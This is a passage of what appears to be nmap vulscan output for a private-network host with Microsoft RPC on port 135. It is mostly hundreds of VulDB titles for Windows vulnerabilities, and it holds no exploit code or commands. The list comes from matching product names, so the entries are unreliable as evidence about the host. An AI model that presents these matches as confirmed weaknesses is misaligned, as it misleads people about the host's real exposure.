[159504] Microsoft Windows up to Server 2019 Media Foundation memory corruption
[159503] Microsoft Windows up to Server 2019 Media Foundation memory corruption
[159500] Microsoft Windows up to Server 2004 Codecs Library memory corruption
[159499] Microsoft Windows up to Server 2019 Media Foundation memory corruption
[159497] Microsoft Windows up to Server 2019 Media Audio Codec memory corruption
[159496] Microsoft Windows up to 10 2004 Codecs Library memory corruption
[159495] Microsoft Windows up to Server 2019 Media Foundation memory corruption
[159494] Microsoft Windows up to Server 2019 Media Foundation memory corruption
[159433] Microsoft Windows net use weak authentication
[159426] Microsoft Windows VCF Card privilege escalation
[159425] Microsoft Windows Group File privilege escalation
[158019] Microsoft Windows up to Server 2019 Windows Runtime privilege escalation
[157995] Microsoft Windows up to Server 2019 WalletService information disclosure
[157993] Microsoft Windows up to Server 2019 WalletService privilege escalation
[157991] Microsoft Windows up to Server 2019 Update Stack privilege escalation
[157990] Microsoft Windows up to Server 2019 Modules Installer privilege escalation
[157989] Microsoft Windows up to Server 2019 Delivery Optimization Service privilege escalation
[157988] Microsoft Windows 10 2004/Server 2004 Subsystem for Linux privilege escalation
[157986] Microsoft Windows up to Server 2019 Windows Runtime privilege escalation
[157985] Microsoft Windows up to Server 2019 Profile Service privilege escalation
[157984] Microsoft Windows up to Server 2019 Windows Runtime privilege escalation
[157983] Microsoft Windows up to Server 2019 Kernel privilege escalation
[157981] Microsoft Windows up to Server 2019 Kernel information disclosure
[157979] Microsoft Windows up to Server 2019 Resource Policy information disclosure
[157978] Microsoft Windows up to Server 2019 Kernel information disclosure
[157977] Microsoft Windows up to Server 2019 Kernel memory corruption
[157975] Microsoft Windows up to Server 2019 ALPC privilege escalation
[157973] Microsoft Windows 2012/2012 R2/2016/Server 2008 R2 SP1 Hyper-V RemoteFX vGPU privilege escalation
[157972] Microsoft Windows 2012/2012 R2/2016/Server 2008 R2 SP1 Hyper-V RemoteFX vGPU privilege escalation
[157971] Microsoft Windows 2012/2012 R2/2016/Server 2008 R2 SP1 Hyper-V RemoteFX vGPU privilege escalation
[157970] Microsoft Windows 2012/2012 R2/2016/Server 2008 R2 SP1 Hyper-V RemoteFX vGPU privilege escalation
[157969] Microsoft Windows 2012/2012 R2/2016/Server 2008 R2 SP1 Hyper-V RemoteFX vGPU privilege escalation
[157968] Microsoft Windows 2012/2012 R2/2016/Server 2008 R2 SP1 Hyper-V RemoteFX vGPU privilege escalation
[157963] Microsoft Windows up to Server 2019 CNG Key Isolation Service privilege escalation
[157960] Microsoft Windows up to Server 2019 Diagnostics Hub privilege escalation
[157957] Microsoft Windows up to Server 2019 Push Notification Service privilege escalation
[157956] Microsoft Windows up to Server 2019 Connected User Experiences/Telemetry Service information disclosure
[157955] Microsoft Windows up to Server 2019 Agent Activation Runtime information disclosure
[157952] Microsoft Windows up to Server 2019 USO Core Worker privilege escalation
[157951] Microsoft Windows up to Server 2019 Storage Services privilege escalation
[157950] Microsoft Windows up to Server 2019 UPnP Device Host privilege escalation
[157949] Microsoft Windows up to Server 2019 Windows Runtime privilege escalation
[157948] Microsoft Windows up to Server 2019 Windows Runtime privilege escalation
[157946] Microsoft Windows up to Server 2019 lnk File privilege escalation
[157945] Microsoft Windows up to Server 2019 Error Reporting information disclosure
[157944] Microsoft Windows iSCSI Target Service privilege escalation
[157943] Microsoft Windows up to Server 2019 Mobile Device Management privilege escalation
[157942] Microsoft Windows up to Server 2019 Event Logging privilege escalation
[157941] Microsoft Windows up to Server 2019 Remote Desktop Client memory corruption
[157939] Microsoft Windows up to Server 2019 Picker Platform privilege escalation
[157938] Microsoft Windows up to Server 2019 CNG Key Isolation Service privilege escalation
[157937] Microsoft Windows up to Server 2019 Windows Print Workflow Service privilege escalation
[157936] Microsoft Windows up to Server 2019 Event Logging privilege escalation
[157935] Microsoft Windows up to Server 2019 Windows Runtime privilege escalation
[157934] Microsoft Windows up to Server 2019 Local Security Authority Subsystem Service privilege escalation
[157933] Microsoft Windows up to Server 2019 Windows Runtime privilege escalation
[157930] Microsoft Windows up to Server 2019 Windows Runtime privilege escalation
[157925] Microsoft Windows up to Server 2019 Error Reporting Manager privilege escalation
[157924] Microsoft Windows up to Server 2019 UPnP Device Host privilege escalation
[157923] Microsoft Windows up to Server 2019 Network Connections Service privilege escalation
[157922] Microsoft Windows up to Server 2019 Windows Runtime privilege escalation
[157921] Microsoft Windows up to Server 2019 Mobile Device Management privilege escalation
[157920] Microsoft Windows up to Server 2019 AppX Deployment Extension privilege escalation
[157919] Microsoft Windows up to Server 2019 Mobile Device Management information disclosure
[157918] Microsoft Windows up to Server 2019 ActiveX Installer Service privilege escalation
[157916] Microsoft Windows up to Server 2019 Windows Address Book privilege escalation
[157913] Microsoft OneDrive on Windows privilege escalation
[157895] Microsoft Windows Defender MpSigStub.exe privilege escalation
[157894] Microsoft Windows up to Server 2019 JET Database Engine memory corruption
[157893] Microsoft Windows up to Server 2019 JET Database Engine memory corruption
[157892] Microsoft Windows up to Server 2019 JET Database Engine memory corruption
[157889] Microsoft Windows up to Server 2019 Imaging information disclosure
[157888] Microsoft Windows up to Server 2019 Graphics Origin Validation Error
[157887] Microsoft Windows up to Server 2019 DirectWrite memory corruption
[157886] Microsoft Windows up to Server 2019 Graphics Component memory corruption
[157885] Microsoft Windows up to Server 2019 GDI+ memory corruption
[157884] Microsoft Windows up to Server 2019 Font Library privilege escalation
[157883] Microsoft Windows up to Server 2019 Graphics Component information disclosure
[157882] Microsoft Windows up to Server 2019 GDI information disclosure
[157881] Microsoft Windows up to Server 2004 Font Driver Host memory corruption
[157509] Microsoft Windows up to Server 2019 Codecs Library memory corruption
[157508] Microsoft Windows up to Server 2019 Codecs Library memory corruption
[156422] Microsoft Windows 10 2004/Server 2004 SMBv3 denial of service
[156421] Microsoft Windows up to Server 2004 SMBv3 information disclosure
[156420] Microsoft Windows up to Server 2019 Windows Shell privilege escalation
[156419] Microsoft Windows up to Server 2019 LNK privilege escalation
[156418] Microsoft Windows up to Server 2019 CAB File privilege escalation
[156417] Microsoft Windows up to Server 2019 OLE Automation privilege escalation
[156415] Microsoft Windows up to Server 2019 Media Foundation information disclosure
[156414] Microsoft Windows up to Server 2019 Media Foundation memory corruption
[156413] Microsoft		N/A

				192.168.186.128		135		tcp		open		msrpc				scanner		probed		100%		syn-ack		Microsoft Windows RPC						N/A

				192.168.186.128		135		tcp		open		msrpc				script		vulscan		100%		syn-ack		Microsoft Windows RPC				VulDB - https://vuldb.com:
[167664] Microsoft Windows 7 SP1 up to Server 2019 RPC Runtime unknown vulnerability
[167663] Microsoft Windows 7 SP1 up to Server 2019 RPC Runtime unknown vulnerability
[167662] Microsoft Windows 7 SP1 up to Server 2019 RPC Runtime unknown vulnerability
[167661] Microsoft Windows 7 SP1 up to Server 2019 RPC Runtime unknown vulnerability
[167660] Microsoft Windows 7 SP1 up to Server 2019 RPC Runtime unknown vulnerability
[167659] Microsoft Windows 7 SP1 up to Server 2019 RPC Runtime unknown vulnerability
[167658] Microsoft Windows 7 SP1 up to Server 2019 RPC Runtime unknown vulnerability
[167657] Microsoft Windows 7 SP1 up to Server 2019 RPC Runtime unknown vulnerability
[167656] Microsoft Windows 7 SP1 up to Server 2019 RPC Runtime unknown vulnerability
[139942] Microsoft Windows up to Server 2019 rpcss.dll privilege escalation
[102512] Microsoft Windows Server 2003 SP2/XP SP3 rpc privilege escalation
[88280] Microsoft Windows DCE/RPC information disclosure
[87160] Microsoft Windows up to Vista SP2 RPC Network Data Representation Engine privilege escalation
[54547] Microsoft Windows grpconv.exe memory corruption
[20307] Microsoft Windows NT 4.0/2000/XP RPC Endpoint Mapper denial of service
[19063] Microsoft Windows NT 4.0/2000/XP Sun RPC Library Services denial of service
[19062] Microsoft Windows NT 4.0/2000/XP Sun RPC Library Services denial of service
[17572] Microsoft Windows NT 4.0 RPC Endpoint Mapper denial of service
[17371] Microsoft Windows NT 4.0/2000 RPC Server denial of service
[15628] Microsoft Windows NT 4.0/2000 DCE/RPC Request SMBwriteX denial of service
[15139] Microsoft Windows NT 4.0 RPC denial of service
[14228] Microsoft Windows NT 4.0 RPC Server Snork denial of service
[13907] Microsoft Windows NT 4.0 LSA/LSARPC LSASS.EXE privilege escalation
[13856] Microsoft Windows NT 4.0 RPC Locator rpcss.exe denial of service
[9942] Microsoft Windows up to XP Asynchronous RPC Request privilege escalation
[4227] Microsoft Windows Netlogon RPC Service denial of service
[4181] Microsoft Windows RPC Processor privilege escalation
[3370] Microsoft Windows RPC Authentication denial of service
[2789] Microsoft Windows 2000/XP RPC Request NetrWkstaUserEnum denial of service
[2430] Microsoft Windows 2000/Server 2003/XP RPC ELV memory corruption
[2310] Microsoft Windows 2000 RPC weak authentication
[1349] Microsoft Windows 2000/XP SP1 RPC Message Queue memory corruption
[900] Microsoft Windows grpconv.exe memory corruption
[884] Microsoft Windows NT 4.0 RPC Runtime Library denial of service
[598] Microsoft Windows NT 4.0/2000/XP/Server 2003 RPC/DCOM Object Identity unknown vulnerability
[597] Microsoft Windows NT 4.0/2000/XP/Server 2003 RPC over HTTP Reply denial of service
[596] Microsoft Windows NT 4.0/2000/XP/Server 2003 RPCSS denial of service
[331] Microsoft Windows 2000/XP RPCSS race condition
[277] Microsoft Windows NT 4.0/2000/XP/Server 2003 RPCSS memory corruption
[178] Microsoft Windows NT 4.0/2000/XP/Server 2003 RPC DCOM PerformScmStage memory corruption
[154] Microsoft Windows up to 2000 SP3 RPC unknown vulnerability
[176522] Microsoft Windows 7 SP1 up to Server 2019 MSHTML Platform unknown vulnerability
[176520] Microsoft Windows 10 20H2 up to Server 2004 DWM Core Library unknown vulnerability
[176515] Microsoft Windows 10 up to Server 2019 Hyper-V denial of service
[176514] Microsoft Windows 8.1 up to Server 2019 Server for NFS information disclosure
[176513] Microsoft Windows 8.1 up to Server 2019 Server for NFS information disclosure
[176512] Microsoft Windows 8.1 up to Server 2019 NFS denial of service
[176511] Microsoft Windows 7 SP1 up to Server 2019 GPSVC unknown vulnerability
[176510] Microsoft Windows 7 SP1 up to Server 2019 Event Tracing information disclosure
[176509] Microsoft Windows 7 SP1 up to Server 2019 HTML Platform unknown vulnerability
[176508] Microsoft Windows 8.1 up to Server 2019 TCP/IP Driver denial of service
[176507] Microsoft Windows 10 20H2 up to Server 2019 Cloud Files Mini Filter Driver unknown vulnerability
[176506] Microsoft Windows 7 SP1 up to Server 2019 Remote Desktop Services denial of service
[176500] Microsoft Windows 7 SP1 up to Server 2019 Kerberos AppContainer unknown vulnerability
[176499] Microsoft Windows 10 20H2/10 21H1/10 2004/Server 20H2/Server 2004 Bind Filter Driver information disclosure
[176498] Microsoft Windows 7 SP1 up to Server 2019 Scripting Engine unknown vulnerability
[176497] Microsoft Windows 7 SP1 up to Server 2019 NTLM unknown vulnerability
[176495] Microsoft Windows 7 SP1 up to Server 2019 NTFS unknown vulnerability
[176494] Microsoft Windows 10 20H2 up to Server 2004 Kernel information disclosure
[176493] Microsoft Windows 7 SP1 up to Server 2019 Common Log File System Driver unknown vulnerability
[176492] Microsoft Windows 7 SP1 up to Server 2019 Filter Manager unknown vulnerability
[176491] Microsoft Windows 10 20H2 up to Server 2019 Kernel-Mode Driver unknown vulnerability
[176490] Microsoft Windows 10 20H2 up to Server 2019 Kernel unknown vulnerability
[176477] Microsoft Windows 7 SP1 up to Server 2019 Enhanced Cryptographic Provider unknown vulnerability
[176474] Microsoft Windows 7 SP1 up to Server 2019 DCOM Server unknown vulnerability
[174874] Microsoft Windows 7 SP1 up to Server 2019 Wireless Networking unknown vulnerability
[174873] Microsoft Windows 7 SP1 up to Server 2019 Wireless Networking information disclosure
[174871] Microsoft Windows 7 SP1 up to Server 2019 Wireless Networking unknown vulnerability
[174870] Microsoft Windows 7 SP1 up to Server 2019 unknown vulnerability
[174868] Microsoft Windows 8.1 up to Server 2019 CSC Service information disclosure
[174866] Microsoft Windows 10 20H2/10 2004/Server 20H2/Server 2004 Container Manager Service unknown vulnerability
[174865] Microsoft Windows 10 20H2/10 2004/Server 20H2/Server 2004 HTTP Protocol Stack unknown vulnerability
[174864] Microsoft Windows 10 20H2 up to Server 2019 Container Manager Service unknown vulnerability
[174863] Microsoft Windows 10 20H2/10 2004/Server 20H2/Server 2004 Container Manager Service unknown vulnerability
[174862] Microsoft Windows 10 20H2/10 2004/Server 20H2/Server 2004 Container Manager Service unknown vulnerability
[174861] Microsoft Windows 10 20H2 up to Server 2019 Graphics unknown vulnerability
[174849] Microsoft Windows 7 SP1 up to Server 2019 Bluetooth Driver unknown vulnerability
[174848] Microsoft Windows 7 SP1 up to Server 2019 Infrared Data Association information disclosure
[174847] Microsoft Windows 10 20H2/10 2004/Server 20H2/Server 2004 Desktop Bridge denial of service
[174846] Microsoft Windows 7 SP1 up to Server 2019 RDP information disclosure
[174845] Microsoft Windows 10 20H2 up to 10 2004 WalletService unknown vulnerability
[174844] Microsoft Windows 7 SP1 up to Server 2019 Graphics unknown vulnerability
[174843] Microsoft Windows 10 1809/Server 2019 Container Isolation FS Filter Driver unknown vulnerability
[174842] Microsoft Windows 10 20H2 up to Server 2019 Projected File System FS Filter Driver information disclosure
[174841] Microsoft Windows 10 20H2/10 2004/Server 20H2/Server 2004 Media Foundation Core unknown vulnerability
[174840] Microsoft Windows 7 SP1 up to Server 2019 on SSDP Service unknown vulnerability
[174839] Microsoft Windows 7 SP1 up to Server 2019 OLE Automation unknown vulnerability
[174835] Microsoft Windows 10 20H2/10 2004/Server 20H2/Server 2004 SMB Client Security Feature unknown vulnerability
[174824] Microsoft Windows 7 SP1 up to Server 2019 Hyper-V VmsIfrInfoParams_OID_SWITCH_NIC_REQUEST unknown vulnerability
[172949] Microsoft Windows 10 up to Server 2019 Media Photo Codec information disclosure
[172947] Microsoft Windows 7 SP1 up to Server 2019 Internet Messaging API unknown vulnerability
[172941] Microsoft Windows 7 SP1 up to Server 2019 Media Video Decoder unknown vulnerability
[172937] Microsoft Windows 10 20H2 up to Server 2019 Hyper-V denial of service
[172933] Microsoft Windows 10 20H2 up to Server 2019 Application Compatibility Cache denial of service
[172929] Microsoft Windows 7 SP1 up to Server 2019 Media Video Decoder unknown vulnerability
[172925] Microsoft Windows 10 20H2 up to Server 2019 TCP/IP Driver denial of service
[172921] Microsoft Windows 7 SP1 up to Server 2019 DNS information disclosure
[172920] Microsoft Windows 10 20H2/10 2004/Server 20H2/Server 2004 SMB information disclosure
[172919] Microsoft Windows 8.1 up to Server 2019 SMB information disclosure
[172917] Microsoft Windows 7 SP1 up to Server 2019 Remote Procedure Call Runtime unknown vulnerability
[172916] Microsoft Windows 7 SP1 up to Server 2019 DNS information disclosure
[172915] Microsoft Windows 7 SP1 up to Server 2019 Remote Procedure Call Runtime unknown vulnerability
[172914] Microsoft Windows 7 SP1 up to Server 2019 Remote Procedure Call Runtime unknown vulnerability
[172913] Microsoft Windows 7 SP1 up to Server 2019 Remote Procedure Call Runtime unknown vulnerability
[172912] Microsoft Windows 7 SP1 up to Server 2019 on Remote Procedure Call Runtime unknown vulnerability
[172911] Microsoft Windows 7 SP1 up to Server 2019 Remote Procedure Call Runtime unknown vulnerability
[172910] Microsoft Windows 7 SP1 up to Server 2019 Remote Procedure Call Runtime unknown vulnerability
[172909] Microsoft Windows 7 SP1 up to Server 2019 Remote Procedure Call Runtime unknown vulnerability
[172908] Microsoft Windows 7 SP1 up to Server 2019 Remote Procedure Call Runtime unknown vulnerability
[172907] Microsoft Windows 7 SP1 up to Server 2019 Remote Procedure Call Runtime unknown vulnerability
[172906] Microsoft Windows 7 SP1 up to Server 2019 Remote Procedure Call Runtime unknown vulnerability
[172905] Microsoft Windows 7 SP1 up to Server 2019 on Remote Procedure Call Runtime unknown vulnerability
[172904] Microsoft Windows 7 SP1 up to Server 2019 Remote Procedure Call Runtime unknown vulnerability
[172903] Microsoft Windows 7 SP1 up to Server 2019 Remote Procedure Call Runtime unknown vulnerability
[172902] Microsoft Windows 7 SP1 up to Server 2019 Remote Procedure Call Runtime unknown vulnerability
[172901] Microsoft Windows 7 SP1 up to Server 2019 Remote Procedure Call Runtime unknown vulnerability
[172900] Microsoft Windows 7 SP1 up to Server 2019 Remote Procedure Call Runtime unknown vulnerability
[172899] Microsoft Windows 8.1 up to Server 2019 Remote Procedure Call Runtime Remote unknown vulnerability
[172898] Microsoft Windows 7 SP1 up to Server 2019 Remote Procedure Call Runtime unknown vulnerability
[172896] Microsoft Windows 7 SP1 up to Server 2019 GDI+ unknown vulnerability
[172895] Microsoft Windows 7 SP1 up to Server 2019 GDI+ unknown vulnerability
[172894] Microsoft Windows 7 SP1 up to Server 2019 GDI+ unknown vulnerability
[172892] Microsoft Windows 7 SP1 up to Server 2019 Remote Procedure Call Runtime unknown vulnerability
[172891] Microsoft Windows 7 SP1 up to Server 2019 Remote Procedure Call Runtime unknown vulnerability
[172890] Microsoft Windows 7 SP1 up to Server 2019 Remote Procedure Call Runtime unknown vulnerability
[172889] Microsoft Windows 7 SP1 up to Server 2019 Remote Procedure Call Runtime unknown vulnerability
[172888] Microsoft Windows 7 SP1 up to Server 2019 Remote Procedure Call Runtime unknown vulnerability
[172887] Microsoft Windows 7 SP1 up to Server 2019 Remote Procedure Call Runtime unknown vulnerability
[172886] Microsoft Windows 7 SP1 up to Server 2019 Remote Procedure Call Runtime unknown vulnerability
[172885] Microsoft Windows 7 SP1 up to Server 2019 Remote Procedure Call Runtime unknown vulnerability
[172880] Microsoft Windows 7 SP1 up to Server 2019 TCP/IP Driver denial of service
[172877] Microsoft Windows 10 20H2 up to Server 2019 TCP/IP information disclosure
[172875] Microsoft Windows 8.1 up to Server 2019 Hyper-V unknown vulnerability
[172874] Microsoft Windows 7 SP1 up to Server 2019 Network File System unknown vulnerability
[171012] Microsoft Windows 10 20H2 up to Server 2019 NAT denial of service
[171009] Microsoft Windows 10 20H2 up to Server 2004 Hyper-V unknown vulnerability
[171000] Microsoft Windows Server 20H2 up to Server 2019 DNS Server unknown vulnerability
[170999] Microsoft Windows Server 20H2 up to Server 2019 DNS Server unknown vulnerability
[170998] Microsoft Windows Server 20H2 up to Server 2019 DNS Server unknown vulnerability
[170997] Microsoft Windows Server 20H2 up to Server 2019 DNS Server unknown vulnerability
[170996] Microsoft Windows Server 20H2 up to Server 2019 DNS Server code injection
[170995] Microsoft Windows Server 20H2 up to Server 2019 DNS Server denial of service
[170994] Microsoft Windows Server 20H2 up to Server 2019 DNS Server denial of service
[170990] Microsoft Windows Admin Center unknown vulnerability
[170981] Microsoft Windows 7 SP1 up to Server 2019 Remote Access API privileges management
[170979] Microsoft Windows 10 20H2 up to Server 2019 OpenType Font Parser code injection
[170978] Microsoft Windows 7 SP1 up to Server 2019 Media Foundation unknown vulnerability
[170907] Microsoft Windows 10 20H2 up to Server 2019 Application Virtualization code injection
[170436] Microsoft Windows 8.1 up to Server 2019 Extended Protection for Authentication improper authentication
[169530] Microsoft Windows 7 SP1 up to Server 2019 Trust Verification API denial of service
[169529] Microsoft Windows 7 SP1 up to Server 2019 TCP/IP unknown vulnerability
[169528] Microsoft Windows 7 SP1 up to Server 2019 TCP/IP unknown vulnerability
[169527] Microsoft Windows 7 SP1 up to Server 2019 TCP/IP denial of service
[169526] Microsoft Windows 7 SP1 up to Server 2019 Remote Procedure Call information disclosure
[169525] Microsoft Windows 7 SP1 up to Server 2019 Local Spooler unknown vulnerability
[169524] Microsoft Windows 10 20H2 up to Server 2019 Microsoft.PowerShell.Utility Module protection mechanism
[169521] Microsoft Windows 10 20H2/10 2004/Server 20H2/Server 2004 Network File System denial of service
[169509] Microsoft Windows 7 SP1 up to Server 2019 Address Book unknown vulnerability
[169502] Microsoft Windows 7 SP1 up to Server 2019 Fax Service unknown vulnerability
[169501] Microsoft Windows 7 SP1 up to Server 2019 Fax Service unknown vulnerability
[169499] Microsoft Windows Server 20H2 up to Server 2019 DNS Server unknown vulnerability
[169498] Microsoft Windows 10 up to Server 2019 unknown vulnerability
[169497] Microsoft Windows 10 Version 1809 for 32-bit Systems Codecs Library unknown vulnerability
[169487] Microsoft Windows 10 up to Server 2019 Graphics unknown vulnerability
[167703] Microsoft Windows 7 SP1 up to Server 2019 Update Stack privileges management
[167700] Microsoft Windows 10 up to Server 2019 RDP authorization
[167699] Microsoft Windows 7 SP1 up to Server 2019 RDP Core unknown vulnerability
[167687] Microsoft Windows 7 SP1 up to Server 2019 Graphics information disclosure
[167686] Microsoft Windows 7 SP1 up to Server 2019 GDI+ information disclosure
[167685] Microsoft Windows 7 SP1 up to Server 2019 Fax Compose Form privileges management
[167680] Microsoft Windows 7 SP1 up to Server 2019 CryptoAPI denial of service
[167655] Microsoft Windows 8.1 up to Server 2019 NTLM unknown vulnerability
[167651] Microsoft Windows 7 SP1 up to Server 2019 Media Foundation unknown vulnerability
[167638] Microsoft Windows 7 SP1 up to Server 2019 DTV-DVD Video Decoder unknown vulnerability
[167637] Microsoft Windows 8.1/10/10 1607/Server 2012 R2/Server 2016 Hyper-V denial of service
[167636] Microsoft Windows 10 20H2 up to Server 2004 Hyper-V denial of service
[167633] Microsoft Windows 7 SP1 up to Server 2019 GDI+ unknown vulnerability
[160963] Microsoft Windows up to Server 2019 Projected Filesystem privilege escalation
[160951] Microsoft Windows up to Server 2019 Kernel memory corruption
[160950] Microsoft OneDrive on Windows privilege escalation
[160949] Microsoft OneDrive on Windows privilege escalation
[160948] Microsoft OneDrive on Windows privilege escalation
[160947] Microsoft Windows up to Server 2019 UPnP Service privilege escalation
[160946] Microsoft Windows up to Server 2019 TLS weak encryption
[160944] Microsoft Windows up to Server 2019 Kernel Improper Initialization
[160943] Microsoft Windows up to Server 2019 Connected User Experiences/Telemetry Service privilege escalation
[160942] Microsoft Windows up to Server 2019 Kernel information disclosure
[160940] Microsoft Windows up to Server 2019 Storage Services privilege escalation
[160939] Microsoft Windows up to Server 2004 InstallService privilege escalation
[160936] Microsoft Windows up to Server 2019 Microsoft COM for Windows privilege escalation
[160932] Microsoft Windows up to Server 2019 CloudExperienceHost privilege escalation
[160930] Microsoft Windows up to Server 2019 fdSSDP.dll privilege escalation
[160925] Microsoft Windows up to Server 2019 DirectX privilege escalation
[160924] Microsoft Windows up to Server 2019 Windows Runtime privilege escalation
[160923] Microsoft Windows up to Server 2019 GDI information disclosure
[160922] Microsoft Windows up to Server 2019 Win32k information disclosure
[160921] Microsoft Windows up to Server 2019 Win32k privilege escalation
[160920] Microsoft Windows up to Server 2019 DNS denial of service
[160912] Microsoft Windows up to Server 2019 Windows Runtime privilege escalation
[160911] Microsoft Windows up to Server 2004 StartTileData.dll privilege escalation
[160910] Microsoft Windows up to Server 2019 Win32k.sys privilege escalation
[160909] Microsoft Windows up to Server 2019 Store Runtime privilege escalation
[160908] Microsoft Windows up to Server 2019 Diagnostics Hub Standard Collector privilege escalation
[160907] Microsoft Windows up to Server 2019 Diagnostics Hub Standard Collector privilege escalation
[160906] Microsoft Windows up to Server 2019 Language Pack Installer privilege escalation
[160905] Microsoft Windows up to Server 2004 StartTileData.dll information disclosure
[160904] Microsoft Windows up to Server 2019 Common Log File System Driver privilege escalation
[160903] Microsoft Windows 10 2004 Shell Infrastructure privilege escalation
[160902] Microsoft Windows up to Server 2019 GDI Dynamically-Managed Code Resources
[160901] Microsoft Windows up to Server 2019 Graphics Component Dynamically-Managed Code Resources
[160900] Microsoft Windows up to Server 2019 Graphics Component memory corruption
[160899] Microsoft Windows up to Server 2019 JET Database Engine memory corruption
[160898] Microsoft Windows up to Server 2019 DirectX privilege escalation
[160895] Microsoft Windows up to Server 2019 JET Database Engine memory corruption
[160894] Microsoft Windows up to Server 2019 Routing Utilities denial of service
[160892] Microsoft Windows up to Server 2019 Kernel information disclosure
[160891] Microsoft Windows up to Server 2019 DHCP Server information disclosure
[160890] Microsoft Windows up to Server 2019 Print Spooler privilege escalation
[160889] Microsoft Windows up to Server 2019 Group Policy privilege escalation
[160886] Microsoft Windows up to Server 2019 Mobile Device Management privilege escalation
[160883] Microsoft Windows up to Server 2019 Kernel information disclosure
[160882] Microsoft Windows up to Server 2019 Graphics Component information disclosure
[160881] Microsoft Windows up to Server 2019 State Repository Service information disclosure
[160880] Microsoft Windows up to Server 2019 Function Discovery SSDP Provider privilege escalation
[160879] Microsoft Windows up to Server 2019 Modules Installer privilege escalation
[160876] Microsoft Windows up to Server 2019 Storage Services privilege escalation
[160874] Microsoft Windows up to Server 2019 Shell Infrastructure memory corruption
[160873] Microsoft Windows up to Server 2019 Active Directory integrated DNS information disclosure
[160871] Microsoft Windows up to Server 2019 NTFS privilege escalation
[160870] Microsoft Windows up to Server 2019 Active Directory Federation Service 2FA weak authentication
[160869] Microsoft Windows up to Server 2019 DNS privilege escalation
[160868] Microsoft Windows 10 2004/Server 2004 Projected Filesystem privilege escalation
[160866] Microsoft Windows up to Server 2019 Cryptographic Catalog Service privilege escalation
[160865] Microsoft Windows up to Server 2019 Store Runtime privilege escalation
[160864] Microsoft Windows up to Server 2019 Active Directory integrated DNS privilege escalation
[160863] Microsoft Windows up to Server 2019 Active Directory integrated DNS memory corruption
[160862] Microsoft Windows up to Server 2019 Active Directory integrated DNS information disclosure
[160861] Microsoft Windows up to Server 2019 RSoP Service Application privilege escalation
[160855] Microsoft Windows up to Server 2019 Media Audio Decoder memory corruption
[160853] Microsoft Windows up to Server 2019 Media Audio Decoder privilege escalation
[160849] Microsoft Windows up to Server 2019 Codecs Library memory corruption
[160848] Microsoft Windows up to Server 2019 GDI+ memory corruption
[160847] Microsoft Windows up to Server 2019 memory corruption
[160843] Microsoft Windows up to Server 2019 Codecs Library memory corruption
[160841] Microsoft Windows up to Server 2019 Camera Codec Pack memory corruption
[160840] Microsoft Windows up to Server 2019 Microsoft COM for Windows memory corruption
[160839] Microsoft Windows up to Server 2019 Text Service Module memory corruption
[159610] Microsoft Windows up to Server 2019 Speech Runtime privilege escalation
[159608] Microsoft Windows up to Server 2019 File Server Resource Management Service privilege escalation
[159604] Microsoft Windows up to Server 2019 Storage Service privilege escalation
[159601] Microsoft Windows up to Server 2019 Speech Shell privilege escalation
[159600] Microsoft Windows up to Server 2019 UPnP Device Host privilege escalation
[159597] Microsoft Windows up to Server 2019 File Server Resource Management Service privilege escalation
[159595] Microsoft Windows up to Server 2019 JET Database Engine memory corruption
[159594] Microsoft Windows up to Server 2019 Windows Runtime memory corruption
[159593] Microsoft Windows up to Server 2019 Work Folders Service privilege escalation
[159592] Microsoft Windows up to Server 2019 CSC Service privilege escalation
[159591] Microsoft Windows up to Server 2019 Work Folder Service memory corruption
[159590] Microsoft Windows up to RT 8.1 Backup Engine privilege escalation
[159589] Microsoft Windows up to Server 2019 State Repository Service information disclosure
[159588] Microsoft Windows up to Server 2019 CDP User memory corruption
[159587] Microsoft Windows up to Server 2019 Work Folders Service privilege escalation
[159585] Microsoft Windows up to Server 2019 Connected User Experiences/Telemetry Service privilege escalation
[159584] Microsoft Windows up to Server 2019 WaasMedic Service information disclosure
[159583] Microsoft Windows up to RT 8.1 Backup Engine privilege escalation
[159582] Microsoft Windows up to Server 2019 Local Security Authority Subsystem Service privilege escalation
[159581] Microsoft Windows up to RT 8.1 Backup Engine privilege escalation
[159580] Microsoft Windows Remote Desktop Gateway privilege escalation
[159579] Microsoft Windows up to RT 8.1 Backup Engine privilege escalation
[159574] Microsoft Windows up to RT 8.1 Backup Engine privilege escalation
[159573] Microsoft Windows up to RT 8.1 Backup Engine privilege escalation
[159572] Microsoft Windows up to RT 8.1 Backup Engine privilege escalation
[159571] Microsoft Windows up to Server 2019 UPnP Device Host memory corruption
[159570] Microsoft Windows up to RT 8.1 Backup Engine privilege escalation
[159568] Microsoft Windows up to Server 2019 CSC Service privilege escalation
[159567] Microsoft Windows up to Server 2019 GDI memory corruption
[159566] Microsoft Windows up to Server 2019 Remote Access memory corruption
[159564] Microsoft Windows up to Server 2019 AppX Deployment Extension privilege escalation
[159563] Microsoft Windows up to Server 2019 Custom Protocol Engine memory corruption
[159562] Microsoft Windows up to RT 8.1 Backup Engine privilege escalation
[159561] Microsoft Windows up to Server 2019 Kernel information disclosure
[159560] Microsoft Windows up to RT 8.1 Backup Engine privilege escalation
[159558] Microsoft Windows up to Server 2019 Kernel privilege escalation
[159557] Microsoft Windows up to Server 2019 Font Driver Host memory corruption
[159556] Microsoft Windows up to Server 2019 Speech Runtime privilege escalation
[159555] Microsoft Windows up to Server 2019 Backup Service privilege escalation
[159554] Microsoft Windows up to RT 8.1 Backup Engine privilege escalation
[159553] Microsoft Windows up to Server 2019 Telephony Server privilege escalation
[159552] Microsoft Windows up to Server 2019 CDP User memory corruption
[159550] Microsoft Windows up to Server 2019 JET Database Engine memory corruption
[159548] Microsoft Windows up to Server 2019 Backup Engine privilege escalation
[159545] Microsoft Windows up to Server 2019 GDI privilege escalation
[159543] Microsoft Windows up to Server 2019 Kernel memory corruption
[159542] Microsoft Windows up to Server 2019 Hard Link privilege escalation
[159541] Microsoft Windows up to Server 2019 Remote Access memory corruption
[159540] Microsoft Windows up to Server 2019 JET Database Engine memory corruption
[159539] Microsoft Windows up to Server 2019 Radio Manager API memory corruption
[159537] Microsoft Windows up to Server 2019 Accounts Control memory corruption
[159534] Microsoft Windows up to Server 2019 Graphics Component memory corruption
[159531] Microsoft Windows up to Server 2019 Graphics Component memory corruption
[159530] Microsoft Windows up to Server 2019 Media Foundation information disclosure
[159529] Microsoft Windows up to Server 2019 Network Connection Broker privilege escalation
[159528] Microsoft Windows up to Server 2019 Ancillary Function Driver for WinSock privilege escalation
[159526] Microsoft Windows up to Server 2019 Public Account Pictures Folder privilege escalation
[159524] Microsoft Windows up to Server 2019 Win32k information disclosure
[159523] Microsoft Windows up to Server 2019 Media Foundation memory corruption
